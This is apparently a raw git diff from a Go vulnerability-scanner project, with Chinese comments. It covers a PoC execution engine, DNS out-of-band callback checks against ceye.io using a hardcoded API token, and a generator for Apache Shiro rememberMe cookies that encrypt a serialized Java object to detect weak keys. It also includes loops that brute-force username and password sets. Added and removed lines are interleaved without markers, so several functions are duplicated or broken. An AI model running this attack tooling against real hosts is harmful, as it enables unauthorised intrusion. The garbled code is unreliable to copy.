func (c *CustomLib) UpdateCompileOptions(args StrMap) {
for _, item := range args {
key, value := item.Key, item.Value
// 根据函数前缀确定变量类型
var declaration *exprpb.Decl
switch {
case strings.HasPrefix(value, "randomInt"):
// randomInt 函数返回整型
declaration = decls.NewIdent(key, decls.Int, nil)
case strings.HasPrefix(value, "newReverse"):
// newReverse 函数返回 Reverse 对象
declaration = decls.NewIdent(key, decls.NewObjectType("lib.Reverse"), nil)
default:
// 默认声明为字符串类型
declaration = decls.NewIdent(key, decls.String, nil)
}
c.envOptions = append(c.envOptions, cel.Declarations(d))
c.envOptions = append(c.envOptions, cel.Declarations(declaration))
}
}
// 初始化随机数生成器
var randSource = rand.New(rand.NewSource(time.Now().Unix()))
// randomLowercase 生成指定长度的小写字母随机字符串
func randomLowercase(n int) string {
lowercase := "abcdefghijklmnopqrstuvwxyz"
randSource := rand.New(rand.NewSource(time.Now().Unix()))
const lowercase = "abcdefghijklmnopqrstuvwxyz"
return RandomStr(randSource, lowercase, n)
}
// randomUppercase 生成指定长度的大写字母随机字符串
func randomUppercase(n int) string {
lowercase := "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
randSource := rand.New(rand.NewSource(time.Now().Unix()))
return RandomStr(randSource, lowercase, n)
const uppercase = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
return RandomStr(randSource, uppercase, n)
}
// randomString 生成指定长度的随机字符串(包含大小写字母和数字)
func randomString(n int) string {
const charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
return RandomStr(randSource, charset, n)
}
// reverseCheck 检查 DNS 记录是否存在
func reverseCheck(r *Reverse, timeout int64) bool {
if ceyeApi == "" || r.Domain == "" {
// 检查必要条件
if ceyeApi == "" || r.Domain == "" || !Common.DnsLog {
return false
}
// 等待指定时间
time.Sleep(time.Second * time.Duration(timeout))
// 提取子域名
sub := strings.Split(r.Domain, ".")[0]
urlStr := fmt.Sprintf("http://api.ceye.io/v1/records?token=%s&type=dns&filter=%s", ceyeApi, sub)
fmt.Println(urlStr)
req, _ := http.NewRequest("GET", urlStr, nil)
// 构造 API 请求 URL
apiURL := fmt.Sprintf("http://api.ceye.io/v1/records?token=%s&type=dns&filter=%s",
ceyeApi, sub)
// 创建并发送请求
req, _ := http.NewRequest("GET", apiURL, nil)
resp, err := DoRequest(req, false)
if err != nil {
return false
}
if !bytes.Contains(resp.Body, []byte(`"data": []`)) && bytes.Contains(resp.Body, []byte(`"message": "OK"`)) { // api返回结果不为空
// 检查响应内容
hasData := !bytes.Contains(resp.Body, []byte(`"data": []`))
isOK := bytes.Contains(resp.Body, []byte(`"message": "OK"`))
if hasData && isOK {
fmt.Println(apiURL)
return true
}
return false
}
// RandomStr 生成指定长度的随机字符串
func RandomStr(randSource *rand.Rand, letterBytes string, n int) string {
const (
letterIdxBits = 6 // 6 bits to represent a letter index
letterIdxMask = 1<<letterIdxBits - 1 // All 1-bits, as many as letterIdxBits
letterIdxMax = 63 / letterIdxBits // # of letter indices fitting in 63 bits
//letterBytes = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
// 用 6 位比特表示一个字母索引
letterIdxBits = 6
// 生成掩码:000111111
letterIdxMask = 1<<letterIdxBits - 1
// 63 位能存储的字母索引数量
letterIdxMax = 63 / letterIdxBits
)
// 预分配结果数组
randBytes := make([]byte, n)
// 使用位操作生成随机字符串
for i, cache, remain := n-1, randSource.Int63(), letterIdxMax; i >= 0; {
// 当可用的随机位用完时,重新获取随机数
if remain == 0 {
cache, remain = randSource.Int63(), letterIdxMax
}
// 获取字符集中的随机索引
if idx := int(cache & letterIdxMask); idx < len(letterBytes) {
randBytes[i] = letterBytes[idx]
i--
}
// 右移已使用的位,更新计数器
cache >>= letterIdxBits
remain--
}
return string(randBytes)
}
// DoRequest 执行 HTTP 请求
func DoRequest(req *http.Request, redirect bool) (*Response, error) {
// 处理请求头
if req.Body != nil && req.Body != http.NoBody {
// 设置 Content-Length
req.Header.Set("Content-Length", strconv.Itoa(int(req.ContentLength)))
// 如果未指定 Content-Type,设置默认值
if req.Header.Get("Content-Type") == "" {
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
}
}
// 执行请求
var (
oResp *http.Response
err error
)
if redirect {
oResp, err = Client.Do(req)
} else {
oResp, err = ClientNoRedirect.Do(req)
}
if err != nil {
return nil, fmt.Errorf("请求执行失败: %w", err)
}
defer oResp.Body.Close()
// 解析响应
resp, err := ParseResponse(oResp)
if err != nil {
Common.LogError("响应解析失败: " + err.Error())
}
return resp, err
}
// ParseUrl 解析 URL 并转换为自定义 URL 类型
func ParseUrl(u *url.URL) *UrlType {
return &UrlType{
Scheme: u.Scheme,
Domain: u.Hostname(),
Host: u.Host,
Port: u.Port(),
Path: u.EscapedPath(),
Query: u.RawQuery,
Fragment: u.Fragment,
}
}
// ParseRequest 将标准 HTTP 请求转换为自定义请求对象
func ParseRequest(oReq *http.Request) (*Request, error) {
req := &Request{
Method: oReq.Method,
Url: ParseUrl(oReq.URL),
Headers: make(map[string]string),
ContentType: oReq.Header.Get("Content-Type"),
}
// 复制请求头
for k := range oReq.Header {
req.Headers[k] = oReq.Header.Get(k)
}
// 处理请求体
if oReq.Body != nil && oReq.Body != http.NoBody {
data, err := io.ReadAll(oReq.Body)
if err != nil {
return nil, fmt.Errorf("读取请求体失败: %w", err)
}
req.Body = data
// 重新设置请求体,允许后续重复读取
oReq.Body = io.NopCloser(bytes.NewBuffer(data))
}
return req, nil
}
// ParseResponse 将标准 HTTP 响应转换为自定义响应对象
func ParseResponse(oResp *http.Response) (*Response, error) {
resp := Response{
Status: int32(oResp.StatusCode),
Url: ParseUrl(oResp.Request.URL),
Headers: make(map[string]string),
ContentType: oResp.Header.Get("Content-Type"),
}
// 复制响应头,合并多值头部为分号分隔的字符串
for k := range oResp.Header {
resp.Headers[k] = strings.Join(oResp.Header.Values(k), ";")
}
// 读取并解析响应体
body, err := getRespBody(oResp)
if err != nil {
return nil, fmt.Errorf("处理响应体失败: %w", err)
}
resp.Body = body
return &resp, nil
}
// getRespBody 读取 HTTP 响应体并处理可能的 gzip 压缩
func getRespBody(oResp *http.Response) ([]byte, error) {
// 读取原始响应体
body, err := io.ReadAll(oResp.Body)
if err != nil && err != io.EOF && len(body) == 0 {
return nil, err
}
// 处理 gzip 压缩
if strings.Contains(oResp.Header.Get("Content-Encoding"), "gzip") {
reader, err := gzip.NewReader(bytes.NewReader(body))
if err != nil {
return body, nil // 如果解压失败,返回原始数据
}
defer reader.Close()
decompressed, err := io.ReadAll(reader)
if err != nil && err != io.EOF && len(decompressed) == 0{
return nil, err
}
if len(decompressed) == 0 && len(body) != 0{
return body, nil
}
return decompressed, nil
}
return body, nil
}
+102
View File
@@ -0,0 +1,102 @@
package lib
import (
"bytes"
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"encoding/base64"
"io"
uuid "github.com/satori/go.uuid"
)
var (
// CheckContent 是经过base64编码的Shiro序列化对象
CheckContent = "rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA=="
// Content 是解码后的原始内容
Content, _ = base64.StdEncoding.DecodeString(CheckContent)
)
// Padding 对明文进行PKCS7填充
func Padding(plainText []byte, blockSize int) []byte {
// 计算需要填充的长度
paddingLength := blockSize - len(plainText)%blockSize
// 使用paddingLength个paddingLength值进行填充
paddingText := bytes.Repeat([]byte{byte(paddingLength)}, paddingLength)
return append(plainText, paddingText...)
}
// GetShrioCookie 获取加密后的Shiro Cookie值
func GetShrioCookie(key, mode string) string {
if mode == "gcm" {
return AES_GCM_Encrypt(key)
}
return AES_CBC_Encrypt(key)
}
// AES_CBC_Encrypt 使用AES-CBC模式加密
func AES_CBC_Encrypt(shirokey string) string {
// 解码密钥
key, err := base64.StdEncoding.DecodeString(shirokey)
if err != nil {
return ""
}
// 创建AES加密器
block, err := aes.NewCipher(key)
if err != nil {
return ""
}
// PKCS7填充
paddedContent := Padding(Content, block.BlockSize())
// 生成随机IV
iv := uuid.NewV4().Bytes()
// 创建CBC加密器
blockMode := cipher.NewCBCEncrypter(block, iv)
// 加密数据
cipherText := make([]byte, len(paddedContent))
blockMode.CryptBlocks(cipherText, paddedContent)
// 拼接IV和密文并base64编码
return base64.StdEncoding.EncodeToString(append(iv, cipherText...))
}
// AES_GCM_Encrypt 使用AES-GCM模式加密(Shiro 1.4.2+)
func AES_GCM_Encrypt(shirokey string) string {
// 解码密钥
key, err := base64.StdEncoding.DecodeString(shirokey)
if err != nil {
return ""
}
// 创建AES加密器
block, err := aes.NewCipher(key)
if err != nil {
return ""
}
// 生成16字节随机数作为nonce
nonce := make([]byte, 16)
if _, err := io.ReadFull(rand.Reader, nonce); err != nil {
return ""
}
// 创建GCM加密器
aesgcm, err := cipher.NewGCMWithNonceSize(block, 16)
if err != nil {
return ""
}
// 加密数据
ciphertext := aesgcm.Seal(nil, nonce, Content, nil)
// 拼接nonce和密文并base64编码
return base64.StdEncoding.EncodeToString(append(nonce, ciphertext...))
}
-687
View File
@@ -1,687 +0,0 @@
package lib
import (
"embed"
"fmt"
"github.com/google/cel-go/cel"
"github.com/shadow1ng/fscan/common"
"math/rand"
"net/http"
"net/url"
"regexp"
"sort"
"strings"
"sync"
"time"
)
var (
ceyeApi = "a78a1cb49d91fe09e01876078d1868b2"
ceyeDomain = "7wtusr.ceye.io"
)
type Task struct {
Req *http.Request
Poc *Poc
}
func CheckMultiPoc(req *http.Request, Pocs embed.FS, workers int, pocname string) {
tasks := make(chan Task)
var wg sync.WaitGroup
for i := 0; i < workers; i++ {
go func() {
wg.Add(1)
for task := range tasks {
isVul, err := executePoc(task.Req, task.Poc)
if err != nil {
continue
}
if isVul {
result := fmt.Sprintf("[+] %s %s", task.Req.URL, task.Poc.Name)
common.LogSuccess(result)
}
}
wg.Done()
}()
}
for _, poc := range LoadMultiPoc(Pocs, pocname) {
task := Task{
Req: req,
Poc: poc,
}
tasks <- task
}
close(tasks)
wg.Wait()
}
func executePoc(oReq *http.Request, p *Poc) (bool, error) {
c := NewEnvOption()
c.UpdateCompileOptions(p.Set)
if len(p.Sets) > 0 {
setMap := make(map[string]string)
for k := range p.Sets {
setMap[k] = p.Sets[k][0]
}
c.UpdateCompileOptions(setMap)
}
env, err := NewEnv(&c)
if err != nil {
//fmt.Printf("environment creation error: %s\n", err)
return false, err
}
req, err := ParseRequest(oReq)
if err != nil {
//fmt.Println(err)
return false, err
}
variableMap := make(map[string]interface{})
variableMap["request"] = req
// 现在假定set中payload作为最后产出,那么先排序解析其他的自定义变量,更新map[string]interface{}后再来解析payload
keys := make([]string, 0)
for k := range p.Set {
keys = append(keys, k)
}
sort.Strings(keys)
for _, k := range keys {
expression := p.Set[k]
if k != "payload" {
if expression == "newReverse()" {
variableMap[k] = newReverse()
continue
}
out, err := Evaluate(env, expression, variableMap)
if err != nil {
//fmt.Println(err)
variableMap[k] = expression
continue
}
switch value := out.Value().(type) {
case *UrlType:
variableMap[k] = UrlTypeToString(value)
case int64:
variableMap[k] = int(value)
case []uint8:
variableMap[k] = fmt.Sprintf("%s", out)
default:
variableMap[k] = fmt.Sprintf("%v", out)
}
}
}
if p.Set["payload"] != "" {
out, err := Evaluate(env, p.Set["payload"], variableMap)
if err != nil {
return false, err
}
variableMap["payload"] = fmt.Sprintf("%v", out)
}
setslen := 0
haspayload := false
var setskeys []string
if len(p.Sets) > 0 {
for _, rule := range p.Rules {
for k := range p.Sets {
if strings.Contains(rule.Body, "{{"+k+"}}") || strings.Contains(rule.Path, "{{"+k+"}}") {
if strings.Contains(k, "payload") {
haspayload = true
}
setslen++
setskeys = append(setskeys, k)
continue
}
for k2 := range rule.Headers {
if strings.Contains(rule.Headers[k2], "{{"+k+"}}") {
if strings.Contains(k, "payload") {
haspayload = true
}
setslen++
setskeys = append(setskeys, k)
continue
}
}
}
}
}
success := false
if setslen > 0 {
if haspayload {
success, err = clusterpoc1(oReq, p, variableMap, req, env, setskeys)
} else {
success, err = clusterpoc(oReq, p, variableMap, req, env, setslen, setskeys)
}
} else {
for _, rule := range p.Rules {
for k1, v1 := range variableMap {
_, isMap := v1.(map[string]string)
if isMap {
continue
}
value := fmt.Sprintf("%v", v1)
for k2, v2 := range rule.Headers {
rule.Headers[k2] = strings.ReplaceAll(v2, "{{"+k1+"}}", value)
}
rule.Path = strings.ReplaceAll(strings.TrimSpace(rule.Path), "{{"+k1+"}}", value)
rule.Body = strings.ReplaceAll(strings.TrimSpace(rule.Body), "{{"+k1+"}}", value)
}
if oReq.URL.Path != "" && oReq.URL.Path != "/" {
req.Url.Path = fmt.Sprint(oReq.URL.Path, rule.Path)
} else {
req.Url.Path = rule.Path
}
// 某些poc没有区分path和query,需要处理
req.Url.Path = strings.ReplaceAll(req.Url.Path, " ", "%20")
req.Url.Path = strings.ReplaceAll(req.Url.Path, "+", "%20")
newRequest, _ := http.NewRequest(rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path), strings.NewReader(rule.Body))
newRequest.Header = oReq.Header.Clone()
for k, v := range rule.Headers {
newRequest.Header.Set(k, v)
}
resp, err := DoRequest(newRequest, rule.FollowRedirects)
if err != nil {
return false, err
}
variableMap["response"] = resp
// 先判断响应页面是否匹配search规则
if rule.Search != "" {
result := doSearch(strings.TrimSpace(rule.Search), string(resp.Body))
if result != nil && len(result) > 0 { // 正则匹配成功
for k, v := range result {
variableMap[k] = v
}
//return false, nil
} else {
return false, nil
}
}
out, err := Evaluate(env, rule.Expression, variableMap)
if err != nil {
return false, err
}
//fmt.Println(fmt.Sprintf("%v, %s", out, out.Type().TypeName()))
if fmt.Sprintf("%v", out) == "false" { //如果false不继续执行后续rule
success = false // 如果最后一步执行失败,就算前面成功了最终依旧是失败
break
}
success = true
}
}
return success, nil
}
func doSearch(re string, body string) map[string]string {
r, err := regexp.Compile(re)
if err != nil {
return nil
}
result := r.FindStringSubmatch(body)
names := r.SubexpNames()
if len(result) > 1 && len(names) > 1 {
paramsMap := make(map[string]string)
for i, name := range names {
if i > 0 && i <= len(result) {
paramsMap[name] = result[i]
}
}
return paramsMap
}
return nil
}
func newReverse() *Reverse {
letters := "1234567890abcdefghijklmnopqrstuvwxyz"
randSource := rand.New(rand.NewSource(time.Now().Unix()))
sub := RandomStr(randSource, letters, 8)
if true {
//默认不开启dns解析
return &Reverse{}
}
urlStr := fmt.Sprintf("http://%s.%s", sub, ceyeDomain)
u, _ := url.Parse(urlStr)
return &Reverse{
Url: ParseUrl(u),
Domain: u.Hostname(),
Ip: "",
IsDomainNameServer: false,
}
}
func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, req *Request, env *cel.Env, slen int, keys []string) (success bool, err error) {
for _, rule := range p.Rules {
for k1, v1 := range variableMap {
if IsContain(keys, k1) {
continue
}
_, isMap := v1.(map[string]string)
if isMap {
continue
}
value := fmt.Sprintf("%v", v1)
for k2, v2 := range rule.Headers {
rule.Headers[k2] = strings.ReplaceAll(v2, "{{"+k1+"}}", value)
}
rule.Path = strings.ReplaceAll(strings.TrimSpace(rule.Path), "{{"+k1+"}}", value)
rule.Body = strings.ReplaceAll(strings.TrimSpace(rule.Body), "{{"+k1+"}}", value)
}
n := 0
for k := range p.Sets {
if strings.Contains(rule.Body, "{{"+k+"}}") || strings.Contains(rule.Path, "{{"+k+"}}") {
n++
continue
}
for k2 := range rule.Headers {
if strings.Contains(rule.Headers[k2], "{{"+k+"}}") {
n++
continue
}
}
}
if n == 0 {
success, err = clustersend(oReq, variableMap, req, env, rule)
if err != nil {
return false, err
}
if success == false {
break
}
}
if slen == 1 {
look1:
for _, var1 := range p.Sets[keys[0]] {
rule1 := cloneRules(rule)
for k2, v2 := range rule1.Headers {
rule1.Headers[k2] = strings.ReplaceAll(v2, "{{"+keys[0]+"}}", var1)
}
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[0]+"}}", var1)
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[0]+"}}", var1)
success, err = clustersend(oReq, variableMap, req, env, rule)
if err != nil {
return false, err
}
if success == true {
break look1
}
}
if success == false {
break
}
}
if slen == 2 {
look2:
for _, var1 := range p.Sets[keys[0]] {
for _, var2 := range p.Sets[keys[1]] {
rule1 := cloneRules(rule)
for k2, v2 := range rule1.Headers {
rule1.Headers[k2] = strings.ReplaceAll(v2, "{{"+keys[0]+"}}", var1)
rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+keys[1]+"}}", var2)
}
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[0]+"}}", var1)
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[0]+"}}", var1)
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[1]+"}}", var2)
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[1]+"}}", var2)
success, err = clustersend(oReq, variableMap, req, env, rule)
if err != nil {
return false, err
}
if success == true {
break look2
}
}
}
if success == false {
break
}
}
if slen == 3 {
look3:
for _, var1 := range p.Sets[keys[0]] {
for _, var2 := range p.Sets[keys[1]] {
for _, var3 := range p.Sets[keys[2]] {
rule1 := cloneRules(rule)
for k2, v2 := range rule1.Headers {
rule1.Headers[k2] = strings.ReplaceAll(v2, "{{"+keys[0]+"}}", var1)
rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+keys[1]+"}}", var2)
rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+keys[2]+"}}", var3)
}
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[0]+"}}", var1)
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[0]+"}}", var1)
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[1]+"}}", var2)
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[1]+"}}", var2)
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[2]+"}}", var3)
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[2]+"}}", var3)
success, err = clustersend(oReq, variableMap, req, env, rule)
if err != nil {
return false, err
}
if success == true {
break look3
}
}
}
}
if success == false {
break
}
}
}
return success, nil
}
func clusterpoc1(oReq *http.Request, p *Poc, variableMap map[string]interface{}, req *Request, env *cel.Env, keys []string) (success bool, err error) {
setMap := make(map[string]interface{})
for k := range p.Sets {
setMap[k] = p.Sets[k][0]
}
setMapbak := cloneMap1(setMap)
for _, rule := range p.Rules {
for k1, v1 := range variableMap {
if IsContain(keys, k1) {
continue
}
_, isMap := v1.(map[string]string)
if isMap {
continue
}
value := fmt.Sprintf("%v", v1)
for k2, v2 := range rule.Headers {
rule.Headers[k2] = strings.ReplaceAll(v2, "{{"+k1+"}}", value)
}
rule.Path = strings.ReplaceAll(strings.TrimSpace(rule.Path), "{{"+k1+"}}", value)
rule.Body = strings.ReplaceAll(strings.TrimSpace(rule.Body), "{{"+k1+"}}", value)
}
varset := []string{}
varpay := []string{}
n := 0
for k := range p.Sets {
// 1. 如果rule中需要修改 {{k}} 如username、payload
if strings.Contains(rule.Body, "{{"+k+"}}") || strings.Contains(rule.Path, "{{"+k+"}}") {
if strings.Contains(k, "payload") {
varpay = append(varpay, k)
} else {
varset = append(varset, k)
}
n++
continue
}
for k2 := range rule.Headers {
if strings.Contains(rule.Headers[k2], "{{"+k+"}}") {
if strings.Contains(k, "payload") {
varpay = append(varpay, k)
} else {
varset = append(varset, k)
}
n++
continue
}
}
}
for _, key := range varpay {
v := fmt.Sprintf("%s", setMap[key])
for k := range p.Sets {
if strings.Contains(v, k) {
if !IsContain(varset, k) && !IsContain(varpay, k) {
varset = append(varset, k)
}
}
}
}
if n == 0 {
success, err = clustersend(oReq, variableMap, req, env, rule)
if err != nil {
return false, err
}
if success == false {
break
}
}
if len(varset) == 1 {
look1:
// (var1 tomcat ,keys[0] username)
for _, var1 := range p.Sets[varset[0]] {
setMap := cloneMap1(setMapbak)
setMap[varset[0]] = var1
evalset(env, setMap)
rule1 := cloneRules(rule)
for k2, v2 := range rule1.Headers {
rule1.Headers[k2] = strings.ReplaceAll(v2, "{{"+varset[0]+"}}", var1)
for _, key := range varpay {
rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+key+"}}", fmt.Sprintf("%v", setMap[key]))
}
}
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+varset[0]+"}}", var1)
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+varset[0]+"}}", var1)
for _, key := range varpay {
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+key+"}}", fmt.Sprintf("%v", setMap[key]))
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+key+"}}", fmt.Sprintf("%v", setMap[key]))
}
success, err = clustersend(oReq, variableMap, req, env, rule)
if err != nil {
return false, err
}
if success == true {
common.LogSuccess(fmt.Sprintf("[+] %s://%s%s %s", req.Url.Scheme, req.Url.Host, req.Url.Path, var1))
break look1
}
}
if success == false {
break
}
}
if len(varset) == 2 {
look2:
// (var1 tomcat ,keys[0] username)
for _, var1 := range p.Sets[varset[0]] { //username
for _, var2 := range p.Sets[varset[1]] { //password
setMap := cloneMap1(setMapbak)
setMap[varset[0]] = var1
setMap[varset[1]] = var2
evalset(env, setMap)
rule1 := cloneRules(rule)
for k2, v2 := range rule1.Headers {
rule1.Headers[k2] = strings.ReplaceAll(v2, "{{"+varset[0]+"}}", var1)
rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+varset[1]+"}}", var2)
for _, key := range varpay {
rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+key+"}}", fmt.Sprintf("%v", setMap[key]))
}
}
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+varset[0]+"}}", var1)
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+varset[0]+"}}", var1)
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+varset[1]+"}}", var2)
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+varset[1]+"}}", var2)
for _, key := range varpay {
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+key+"}}", fmt.Sprintf("%v", setMap[key]))
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+key+"}}", fmt.Sprintf("%v", setMap[key]))
}
success, err = clustersend(oReq, variableMap, req, env, rule1)
if err != nil {
return false, err
}
if success == true {
common.LogSuccess(fmt.Sprintf("[+] %s://%s%s %s %s", req.Url.Scheme, req.Url.Host, req.Url.Path, var1, var2))
break look2
}
}
}
if success == false {
break
}
}
if len(varset) == 3 {
look3:
for _, var1 := range p.Sets[keys[0]] {
for _, var2 := range p.Sets[keys[1]] {
for _, var3 := range p.Sets[keys[2]] {
setMap := cloneMap1(setMapbak)
setMap[varset[0]] = var1
setMap[varset[1]] = var2
evalset(env, setMap)
rule1 := cloneRules(rule)
for k2, v2 := range rule1.Headers {
rule1.Headers[k2] = strings.ReplaceAll(v2, "{{"+keys[0]+"}}", var1)
rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+keys[1]+"}}", var2)
rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+keys[2]+"}}", var3)
for _, key := range varpay {
rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+key+"}}", fmt.Sprintf("%v", setMap[key]))
}
}
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[0]+"}}", var1)
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[0]+"}}", var1)
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[1]+"}}", var2)
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[1]+"}}", var2)
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[2]+"}}", var3)
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[2]+"}}", var3)
for _, key := range varpay {
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+key+"}}", fmt.Sprintf("%v", setMap[key]))
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+key+"}}", fmt.Sprintf("%v", setMap[key]))
}
success, err = clustersend(oReq, variableMap, req, env, rule)
if err != nil {
return false, err
}
if success == true {
break look3
}
}
}
}
if success == false {
break
}
}
}
return success, nil
}
func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Request, env *cel.Env, rule Rules) (bool, error) {
if oReq.URL.Path != "" && oReq.URL.Path != "/" {
req.Url.Path = fmt.Sprint(oReq.URL.Path, rule.Path)
} else {
req.Url.Path = rule.Path
}
// 某些poc没有区分path和query,需要处理
req.Url.Path = strings.ReplaceAll(req.Url.Path, " ", "%20")
req.Url.Path = strings.ReplaceAll(req.Url.Path, "+", "%20")
newRequest, _ := http.NewRequest(rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path), strings.NewReader(rule.Body))
newRequest.Header = oReq.Header.Clone()
for k, v := range rule.Headers {
newRequest.Header.Set(k, v)
}
resp, err := DoRequest(newRequest, rule.FollowRedirects)
if err != nil {
return false, err
}
variableMap["response"] = resp
// 先判断响应页面是否匹配search规则
if rule.Search != "" {
result := doSearch(strings.TrimSpace(rule.Search), string(resp.Body))
if result != nil && len(result) > 0 { // 正则匹配成功
for k, v := range result {
variableMap[k] = v
}
//return false, nil
} else {
return false, nil
}
}
out, err := Evaluate(env, rule.Expression, variableMap)
if err != nil {
return false, err
}
//fmt.Println(fmt.Sprintf("%v, %s", out, out.Type().TypeName()))
if fmt.Sprintf("%v", out) == "false" { //如果false不继续执行后续rule
return false, err // 如果最后一步执行失败,就算前面成功了最终依旧是失败
}
return true, err
}
func cloneRules(tags Rules) Rules {
cloneTags := Rules{}
cloneTags.Method = tags.Method
cloneTags.Path = tags.Path
cloneTags.Body = tags.Body
cloneTags.Search = tags.Search
cloneTags.FollowRedirects = tags.FollowRedirects
cloneTags.Expression = tags.Expression
cloneTags.Headers = cloneMap(tags.Headers)
return cloneTags
}
func cloneMap(tags map[string]string) map[string]string {
cloneTags := make(map[string]string)
for k, v := range tags {
cloneTags[k] = v
}
return cloneTags
}
func cloneMap1(tags map[string]interface{}) map[string]interface{} {
cloneTags := make(map[string]interface{})
for k, v := range tags {
cloneTags[k] = v
}
return cloneTags
}
func IsContain(items []string, item string) bool {
for _, eachItem := range items {
if eachItem == item {
return true
}
}
return false
}
func evalset(env *cel.Env, variableMap map[string]interface{}) {
for k := range variableMap {
expression := fmt.Sprintf("%v", variableMap[k])
if !strings.Contains(k, "payload") {
out, err := Evaluate(env, expression, variableMap)
if err != nil {
//fmt.Println(err)
variableMap[k] = expression
continue
}
switch value := out.Value().(type) {
case *UrlType:
variableMap[k] = UrlTypeToString(value)
case int64:
variableMap[k] = fmt.Sprintf("%v", value)
case []uint8:
variableMap[k] = fmt.Sprintf("%v", out)
default:
variableMap[k] = fmt.Sprintf("%v", out)
}
}
}
for k := range variableMap {
expression := fmt.Sprintf("%v", variableMap[k])
if strings.Contains(k, "payload") {
out, err := Evaluate(env, expression, variableMap)
if err != nil {
//fmt.Println(err)
variableMap[k] = expression
} else {
variableMap[k] = fmt.Sprintf("%v", out)
}
}
}
}
-176
View File
@@ -1,176 +0,0 @@
package lib
import (
"bytes"
"compress/gzip"
"crypto/tls"
"io"
"io/ioutil"
"net"
"net/http"
"net/url"
"strconv"
"strings"
"time"
)
var (
Client *http.Client
ClientNoRedirect *http.Client
dialTimout = 5 * time.Second
keepAlive = 15 * time.Second
)
func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) error {
dialer := &net.Dialer{
Timeout: dialTimout,
KeepAlive: keepAlive,
}
tr := &http.Transport{
DialContext: dialer.DialContext,
MaxConnsPerHost: 0,
MaxIdleConns: 0,
MaxIdleConnsPerHost: ThreadsNum * 2,
IdleConnTimeout: keepAlive,
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
TLSHandshakeTimeout: 5 * time.Second,
DisableKeepAlives: false,
}
if DownProxy != "" {
if DownProxy == "1" {
DownProxy = "http://127.0.0.1:8080"
} else if !strings.Contains(DownProxy, "://") {
DownProxy = "http://127.0.0.1:" + DownProxy
}
u, err := url.Parse(DownProxy)
if err != nil {
return err
}
tr.Proxy = http.ProxyURL(u)
}
Client = &http.Client{
Transport: tr,
Timeout: Timeout,
}
ClientNoRedirect = &http.Client{
Transport: tr,
Timeout: Timeout,
}
ClientNoRedirect.CheckRedirect = func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
}
return nil
}
func DoRequest(req *http.Request, redirect bool) (*Response, error) {
if req.Body == nil || req.Body == http.NoBody {
} else {
req.Header.Set("Content-Length", strconv.Itoa(int(req.ContentLength)))
if req.Header.Get("Content-Type") == "" {
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
}
}
var oResp *http.Response
var err error
